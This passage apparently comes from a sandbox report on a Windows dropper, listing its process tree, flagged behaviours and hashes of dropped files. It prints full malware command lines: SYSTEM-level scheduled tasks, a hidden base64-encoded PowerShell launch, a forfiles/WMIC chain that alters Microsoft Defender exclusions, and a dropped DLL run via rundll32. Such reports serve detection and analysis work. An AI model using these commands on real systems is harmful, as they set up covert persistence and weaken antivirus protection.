                                                                                                        schtasks /CREATE /TN "gqGXyUtcu" /SC once /ST 06:42:13 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                        2⤵
                                                                                                        • Creates scheduled task(s)
                                                                                                        PID:1532
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /run /I /tn "gqGXyUtcu"
                                                                                                        2⤵
                                                                                                          PID:3236
                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                          schtasks /DELETE /F /TN "gqGXyUtcu"
                                                                                                          2⤵
                                                                                                            PID:3536
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "eKTzntQiDjkvtKkfQ" /SC once /ST 11:15:55 /RU "SYSTEM" /TR "\"C:\Windows\Temp\HbtuuClNkkkdGbCN\vXAtqRxyFYwdzWO\SYnDWRn.exe\" qB /Zgsite_idObI 385118 /S" /V1 /F
                                                                                                            2⤵
                                                                                                            • Drops file in Windows directory
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:1220
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /run /I /tn "eKTzntQiDjkvtKkfQ"
                                                                                                            2⤵
                                                                                                              PID:1232
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                            1⤵
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:4432
                                                                                                            • C:\Windows\system32\gpupdate.exe
                                                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                                                              2⤵
                                                                                                                PID:4464
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                              1⤵
                                                                                                                PID:2856
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                1⤵
                                                                                                                  PID:4956
                                                                                                                • C:\Windows\system32\gpscript.exe
                                                                                                                  gpscript.exe /RefreshSystemParam
                                                                                                                  1⤵
                                                                                                                    PID:4488
                                                                                                                  • C:\Windows\Temp\HbtuuClNkkkdGbCN\vXAtqRxyFYwdzWO\SYnDWRn.exe
                                                                                                                    C:\Windows\Temp\HbtuuClNkkkdGbCN\vXAtqRxyFYwdzWO\SYnDWRn.exe qB /Zgsite_idObI 385118 /S
                                                                                                                    1⤵
                                                                                                                    • Checks computer location settings
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Drops Chrome extension
                                                                                                                    • Drops desktop.ini file(s)
                                                                                                                    • Drops file in System32 directory
                                                                                                                    • Drops file in Program Files directory
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    PID:3912
                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                      schtasks /DELETE /F /TN "bjzvzwrptCEFdBfgJx"
                                                                                                                      2⤵
                                                                                                                        PID:3772
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                        2⤵
                                                                                                                          PID:4900
                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                            forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                            3⤵
                                                                                                                              PID:1420
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                4⤵
                                                                                                                                  PID:1368
                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                    5⤵
                                                                                                                                    • Drops file in System32 directory
                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    PID:4016
                                                                                                                                    • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                      "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                      6⤵
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:4460
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\atUnoJEcU\wUHcGx.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "azeUktJAaUwkEYH" /V1 /F
                                                                                                                              2⤵
                                                                                                                              • Drops file in Windows directory
                                                                                                                              • Creates scheduled task(s)
                                                                                                                              PID:2320
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "azeUktJAaUwkEYH2" /F /xml "C:\Program Files (x86)\atUnoJEcU\WXvLvkq.xml" /RU "SYSTEM"
                                                                                                                              2⤵
                                                                                                                              • Creates scheduled task(s)
                                                                                                                              PID:4136
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /END /TN "azeUktJAaUwkEYH"
                                                                                                                              2⤵
                                                                                                                                PID:1656
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /DELETE /F /TN "azeUktJAaUwkEYH"
                                                                                                                                2⤵
                                                                                                                                  PID:3716
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "OSQnjExwMsDOMr" /F /xml "C:\Program Files (x86)\OiJitsNRDAtU2\YqdZEqY.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:4436
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "KAxEQLlfNMoXA2" /F /xml "C:\ProgramData\hdPjkOXNzukcsjVB\cntsWEX.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:4664
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "KELEMENFVUYfdfdjp2" /F /xml "C:\Program Files (x86)\AhrcuswkDyIWnALCLrR\vFIWIzm.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:4112
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "hcXcPAZNWkBjDRtiAcA2" /F /xml "C:\Program Files (x86)\bHChqWbaifmeC\yfYcztl.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:2264
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "CtcwvJUdbvqSdFcLs" /SC once /ST 17:52:06 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\HbtuuClNkkkdGbCN\CABuVHnl\UeMUeaZ.dll\",#1 /QIsite_idWIB 385118" /V1 /F
                                                                                                                                  2⤵
                                                                                                                                  • Drops file in Windows directory
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:1892
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /run /I /tn "CtcwvJUdbvqSdFcLs"
                                                                                                                                  2⤵
                                                                                                                                    PID:1112
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    schtasks /DELETE /F /TN "eKTzntQiDjkvtKkfQ"
                                                                                                                                    2⤵
                                                                                                                                      PID:2408
                                                                                                                                  • C:\Windows\system32\rundll32.EXE
                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\HbtuuClNkkkdGbCN\CABuVHnl\UeMUeaZ.dll",#1 /QIsite_idWIB 385118
                                                                                                                                    1⤵
                                                                                                                                      PID:4948
                                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                        C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\HbtuuClNkkkdGbCN\CABuVHnl\UeMUeaZ.dll",#1 /QIsite_idWIB 385118
                                                                                                                                        2⤵
                                                                                                                                        • Blocklisted process makes network request
                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                        • Loads dropped DLL
                                                                                                                                        • Enumerates system info in registry
                                                                                                                                        PID:4916
                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                          schtasks /DELETE /F /TN "CtcwvJUdbvqSdFcLs"
                                                                                                                                          3⤵
                                                                                                                                            PID:4276

                                                                                                                                      Network

                                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                                      Replay Monitor

                                                                                                                                      Loading Replay Monitor...

                                                                                                                                      Downloads

                                                                                                                                      • C:\Program Files (x86)\AhrcuswkDyIWnALCLrR\vFIWIzm.xml

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        ebc5dd911d60d18866419aa5d21bda06

                                                                                                                                        SHA1

                                                                                                                                        1860762977cf57cffcf78d0ccc19f2f98d887080

                                                                                                                                        SHA256

                                                                                                                                        09c5f307856e0740cf6c7a5320939a9b117bb58b35f5fe13319e1e5f1707a3db

                                                                                                                                        SHA512

                                                                                                                                        01c08e2df9612dc047991e129c86a5e08ffd5e61c28cb48d5029519431fd1bf616a3af513ec2d547314e62bb92e85a958d446b0358080dcaafe32132de7f17e2

                                                                                                                                      • C:\Program Files (x86)\OiJitsNRDAtU2\YqdZEqY.xml

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        0d77523629a6adfdb0982221e53fbc67

                                                                                                                                        SHA1

                                                                                                                                        c7eccf68eefed77f929a4316bd0e3c11f9573755

                                                                                                                                        SHA256

                                                                                                                                        78f3d2fe4f2c931611b9600ec31b1d69975d30ceec051dea9143beb3998eb01c

                                                                                                                                        SHA512

                                                                                                                                        0a4d1e2fe4eede33d6334c4aa20a86164da4d521e2d2575e0c46419db8de7ff32d76fbca56311eff52893f61b1fc06dac4bb222c7cecf6b4e94a869b50901846

                                                                                                                                      • C:\Program Files (x86)\atUnoJEcU\WXvLvkq.xml

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        8d0a21d486dcd77ab10e1804e0348b28

                                                                                                                                        SHA1

                                                                                                                                        a79fb9c55a546c2c154a650bfe05630ebb5278af

                                                                                                                                        SHA256

                                                                                                                                        b2d0283e798b6a410c7d86fd7404997e1ced14c5ee2153bfab80d2261776a032

                                                                                                                                        SHA512

                                                                                                                                        f9ee6f8d4a143a3155739109ad4b1a63c6e63a36f0b89f12d3aac6c10065bd0c2f388749c5a45c8f138b8c9685f088cd153266f7ac7370eb8081a45766061807

                                                                                                                                      • C:\Program Files (x86)\bHChqWbaifmeC\yfYcztl.xml

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        32dbe186449b9e95e474a229372a02fb

                                                                                                                                        SHA1

                                                                                                                                        e17a10c3676caa434ad5d6e0aba162f76dfa0cd6

                                                                                                                                        SHA256

                                                                                                                                        d8da474142896decd552581966103be1c743c7a52675a649f8b97e51ffefcb1a

                                                                                                                                        SHA512

                                                                                                                                        3c953ed4b866dbc8e927133fc447ed4ba87927985a99b9ad921fd05108b9079fa81bb4f3134f05f3fd8702c4ad1833b792bfb2b39a91693813744d3c92b71555

                                                                                                                                      • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

                                                                                                                                        Filesize

                                                                                                                                        2.0MB

                                                                                                                                        MD5

                                                                                                                                        3a8199aab1c74eae07fe583af9439e48

                                                                                                                                        SHA1

                                                                                                                                        28bbd7e62698c90631cd51ab23e773a1a9a2fe1b

                                                                                                                                        SHA256

                                                                                                                                        de3c96adcc032cf625d6811ac747c5189e2dfd7d4b097cb019bbeee552b1f2cb

                                                                                                                                        SHA512

                                                                                                                                        730d34973229a6a28e0584fae5ac307bb399907061b78563db648877579587fec59dd5eedcab9a565e770806950829a5fa58fb72db00d178e234897186351c3d

                                                                                                                                      • C:\ProgramData\hdPjkOXNzukcsjVB\cntsWEX.xml

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        45eaebc48b488978ca753bd709465b8c

                                                                                                                                        SHA1

                                                                                                                                        bdccf353bf5f6b4a2210f547a70d79b94e7c7044

                                                                                                                                        SHA256

                                                                                                                                        bbe1d2ca2b6c8b775a6860fd7b1f94eaeb5f4371f7ac98fa73cd571b9ee7aeb2

                                                                                                                                        SHA512

                                                                                                                                        74a2e98e54fe50123d3bf228a405eaebb22e66388f5e96cfe320c622ebfd27f4b82f4777febd32934464850052e5e406e9419c8d5a51679a2a0a77b49e8dba7f

                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

                                                                                                                                        Filesize

                                                                                                                                        187B

                                                                                                                                        MD5

                                                                                                                                        2a1e12a4811892d95962998e184399d8

                                                                                                                                        SHA1

                                                                                                                                        55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                        SHA256

                                                                                                                                        32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                        SHA512

                                                                                                                                        bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

                                                                                                                                        Filesize

                                                                                                                                        136B

                                                                                                                                        MD5

                                                                                                                                        238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                        SHA1

                                                                                                                                        0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                        SHA256

                                                                                                                                        801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                        SHA512

                                                                                                                                        2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

                                                                                                                                        Filesize

                                                                                                                                        150B

                                                                                                                                        MD5

                                                                                                                                        0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                        SHA1

                                                                                                                                        6a51537cef82143d3d768759b21598542d683904

                                                                                                                                        SHA256

                                                                                                                                        0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                        SHA512

                                                                                                                                        5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                        Filesize

                                                                                                                                        10KB

                                                                                                                                        MD5

                                                                                                                                        4a7b328f04beb47b6ac54bcf9d5ae4d3

                                                                                                                                        SHA1

                                                                                                                                        e45aa1edbb79c8148c55b647a9f62de6c961e4e1

                                                                                                                                        SHA256

                                                                                                                                        a5148b8448cd17b6eecf2c997f9cbb40ad8271ac55b0a0215b0c1a979289c850

                                                                                                                                        SHA512

                                                                                                                                        a37a30b3d0fa3770b9bfe92c56e8c5d1d05fd11707d4d16a38ef1fc320da848f447df4a52e34b1bff8a0322519a1dfbf833542ebc13a55a5e5751b1bf0ff36a6

                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json

                                                                                                                                        Filesize

                                                                                                                                        151B

                                                                                                                                        MD5

                                                                                                                                        bd6b60b18aee6aaeb83b35c68fb48d88

                                                                                                                                        SHA1

                                                                                                                                        9b977a5fbf606d1104894e025e51ac28b56137c3

                                                                                                                                        SHA256

                                                                                                                                        b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

                                                                                                                                        SHA512

                                                                                                                                        3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                        Filesize

                                                                                                                                        11KB

                                                                                                                                        MD5

                                                                                                                                        95e6fb5db9e2ca61ea5b4309d1aff816

                                                                                                                                        SHA1

                                                                                                                                        87fd996b8afbc0c159925b6e7238835bba8f22dd

                                                                                                                                        SHA256

                                                                                                                                        bd8fa2732c22533fe8ec7e136276d787e411b664807b49cfe86503e49837186e

                                                                                                                                        SHA512

                                                                                                                                        179e514f84d59cbfbcf065172f662761c199927d41bc33ea0eded7067659e8f03beba1d5d1085a3c7e1997cb993119f3ea94076c9fa9ff7c84dd3c6fe7079b84

                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                        Filesize

                                                                                                                                        11KB

                                                                                                                                        MD5

                                                                                                                                        f7ea21a8fddaba9501a691d170906825

                                                                                                                                        SHA1

                                                                                                                                        b7ce7dd9b54c9b47f1b5e718450992293ab707d0

                                                                                                                                        SHA256

                                                                                                                                        8ed5c87fa3283933acf4db8d457a291c12081eca783337cce61a1e52d9b240bc

                                                                                                                                        SHA512

                                                                                                                                        16aa131666d33ff4b7c0789482707ce29050a2ede1166670ade15d77c7c542261c8de9fcda3e7e26a7ffd9587f5ab4ec36f36a52eeb467ec0c98b537243a66a3

                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS3A2A.tmp\Install.exe

                                                                                                                                        Filesize

                                                                                                                                        6.7MB

                                                                                                                                        MD5

                                                                                                                                        0a35bbd6448122353a2d8ea91cff5781

                                                                                                                                        SHA1

                                                                                                                                        742ec335853eba4e5b41200fa46958328e90cb2f

                                                                                                                                        SHA256

                                                                                                                                        ccc5f37eb38a137f33f8f0d603f88f178056a9c576c316f6a366727e07c9a0bb

                                                                                                                                        SHA512

                                                                                                                                        5c4dbc03b3c43ddea27bb6df56e5e317c64237018e325a84b257847e4223f0c3302f10b9ab5956ef7e197c237f7d346fbddbb7ee06856b42314cc0b85f300b8f

                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rtfjjuiw.gm4.ps1

                                                                                                                                        Filesize

                                                                                                                                        60B

                                                                                                                                        MD5

                                                                                                                                        d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                        SHA1

                                                                                                                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                        SHA256

                                                                                                                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                        SHA512

                                                                                                                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0etkwu5l.default-release\prefs.js

                                                                                                                                        Filesize

                                                                                                                                        6KB

                                                                                                                                        MD5

                                                                                                                                        0fccc75bd9c0494a133798b5b6d398da

                                                                                                                                        SHA1

                                                                                                                                        d7b23c6bf04704834ead0e99a4ac907a652e0719

                                                                                                                                        SHA256

                                                                                                                                        be435e0cfc5a5a78e736bcd57bf76725f5a91e3ce5d099eeeab9084e8deb2682

                                                                                                                                        SHA512

                                                                                                                                        6443c4d9e07059b032905863b108a62fb4d8749ae3afcdc746e92f7e3abaccadb4accc32dfad893d4bc926769a26beb4836e3c216e9e378342d22de38262f634

                                                                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                        Filesize

                                                                                                                                        1KB

                                                                                                                                        MD5

                                                                                                                                        33b19d75aa77114216dbc23f43b195e3

                                                                                                                                        SHA1

                                                                                                                                        36a6c3975e619e0c5232aa4f5b7dc1fec9525535

                                                                                                                                        SHA256

                                                                                                                                        b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

                                                                                                                                        SHA512

                                                                                                                                        676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

                                                                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                        Filesize

                                                                                                                                        11KB

                                                                                                                                        MD5

                                                                                                                                        f5caea41ccb7c13988a362ef6b2f3a1c

                                                                                                                                        SHA1

                                                                                                                                        f31ad94f89bd21eb58f73ec83b11613f9ef3f199

                                                                                                                                        SHA256

                                                                                                                                        1a90087699459e1c6d059bc5739b1a7270c3ebe493778a70bd5b2bbf4194061a

                                                                                                                                        SHA512

                                                                                                                                        db305daae6c012b820da9186f94a6f8a1cc8e1e3e4ba9d7eafa6523b8bc3188310a338750684dd2e062e36e7882dab3892325a3025045d62572c000e118cc65a

                                                                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                        Filesize

                                                                                                                                        11KB

                                                                                                                                        MD5

                                                                                                                                        7cd1fc869c686c660073b9e811a89e3c

                                                                                                                                        SHA1

                                                                                                                                        67acf340bead8ee326dacbb3f9c9e91775d8adac

                                                                                                                                        SHA256

                                                                                                                                        c6a11f8fc328b7619e240da4d08b884472b562ea5607da2481c32cb8fca87c9c

                                                                                                                                        SHA512

                                                                                                                                        0a584776f135737967d6d7e61fabb75d78127fb9e2ce734e306db86d337b078b59a41a942f6ed9809fbef203dcd00919abe4eca07effc1b0a65a5e2df3351492

                                                                                                                                      • C:\Windows\Temp\HbtuuClNkkkdGbCN\CABuVHnl\UeMUeaZ.dll

                                                                                                                                        Filesize

                                                                                                                                        6.4MB

                                                                                                                                        MD5

                                                                                                                                        09033b0a28848c69df1d9123aa263242

                                                                                                                                        SHA1

                                                                                                                                        ea1f63365ab26e8250eec85496f7b7baab1c5619

                                                                                                                                        SHA256

                                                                                                                                        fc35ae17402f158f5fc7f179d35542c363ca5681c82e72d7f0f59f80f86b2ee7

                                                                                                                                        SHA512

                                                                                                                                        9e99a8a584f4831bed290361d719e6a9561455d22b9e650d68d970d2258bd7db465edc7b9c9a9e9565aeefbe871e298dba66470c260b51e4482b76d43f13097d

                                                                                                                                      • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                        Filesize

                                                                                                                                        6KB

                                                                                                                                        MD5

                                                                                                                                        fb11ad5cc456952496ec84f9330e7017

                                                                                                                                        SHA1

                                                                                                                                        75457e8a9d40a5a63e72bc80c5ec974761185898

                                                                                                                                        SHA256

                                                                                                                                        181ae1748ee78f79f3fb2956a71ba0959082b9e67f2a72dc2b459110bb2be859

                                                                                                                                        SHA512

                                                                                                                                        a2252651ea91142e9a21896455b43f7162c15992bef62725af6201f5cacbc5f3c646e465c6e311a9a261549092b59c659e4b23ee940ea7af04e373b7d4564e1b

                                                                                                                                      • memory/1112-64-0x0000000004320000-0x0000000004674000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        3.3MB

                                                                                                                                      • memory/1112-65-0x00000000049A0000-0x00000000049EC000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        304KB

                                                                                                                                      • memory/1112-68-0x00000000735F0000-0x0000000073DA0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        7.7MB

                                                                                                                                      • memory/1112-54-0x00000000034C0000-0x00000000034D0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/1112-53-0x00000000034C0000-0x00000000034D0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/1112-52-0x00000000735F0000-0x0000000073DA0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        7.7MB

                                                                                                                                      • memory/1648-585-0x00000000008B0000-0x0000000000F65000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        6.7MB

                                                                                                                                      • memory/1648-16-0x00000000008B0000-0x0000000000F65000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        6.7MB

                                                                                                                                      • memory/1648-17-0x0000000010000000-0x0000000011E5C000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        30.4MB

                                                                                                                                      • memory/1648-46-0x00000000008B0000-0x0000000000F65000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        6.7MB

                                                                                                                                      • memory/3168-22-0x0000000002ED0000-0x0000000002EE0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/3168-23-0x0000000002ED0000-0x0000000002EE0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/3168-20-0x0000000002E80000-0x0000000002EB6000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        216KB

                                                                                                                                      • memory/3168-21-0x0000000073620000-0x0000000073DD0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        7.7MB

                                                                                                                                      • memory/3168-42-0x0000000073620000-0x0000000073DD0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        7.7MB

                                                                                                                                      • memory/3168-25-0x00000000054C0000-0x00000000054E2000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        136KB

                                                                                                                                      • memory/3168-24-0x0000000005790000-0x0000000005DB8000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        6.2MB

                                                                                                                                      • memory/3168-37-0x0000000005FA0000-0x00000000062F4000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        3.3MB

                                                                                                                                      • memory/3168-38-0x0000000006470000-0x000000000648E000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        120KB

                                                                                                                                      • memory/3168-39-0x00000000064C0000-0x000000000650C000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        304KB

                                                                                                                                      • memory/3168-26-0x0000000005DC0000-0x0000000005E26000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        408KB

                                                                                                                                      • memory/3168-32-0x0000000005E30000-0x0000000005E96000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        408KB

                                                                                                                                      • memory/3912-511-0x0000000003050000-0x00000000030D3000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        524KB

                                                                                                                                      • memory/3912-112-0x0000000010000000-0x0000000011E5C000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        30.4MB

                                                                                                                                      • memory/3912-123-0x00000000025F0000-0x0000000002675000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        532KB

                                                                                                                                      • memory/3912-181-0x0000000002FE0000-0x0000000003047000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        412KB

                                                                                                                                      • memory/3912-110-0x0000000000170000-0x0000000000825000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        6.7MB

                                                                                                                                      • memory/3912-526-0x0000000003950000-0x0000000003A1C000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        816KB

                                                                                                                                      • memory/3912-598-0x0000000000170000-0x0000000000825000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        6.7MB

                                                                                                                                      • memory/4016-125-0x00000000735F0000-0x0000000073DA0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        7.7MB

                                                                                                                                      • memory/4016-171-0x00000000735F0000-0x0000000073DA0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        7.7MB

                                                                                                                                      • memory/4016-160-0x0000000004CF0000-0x0000000004D3C000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        304KB

                                                                                                                                      • memory/4016-129-0x0000000003280000-0x0000000003290000-memory.dmp

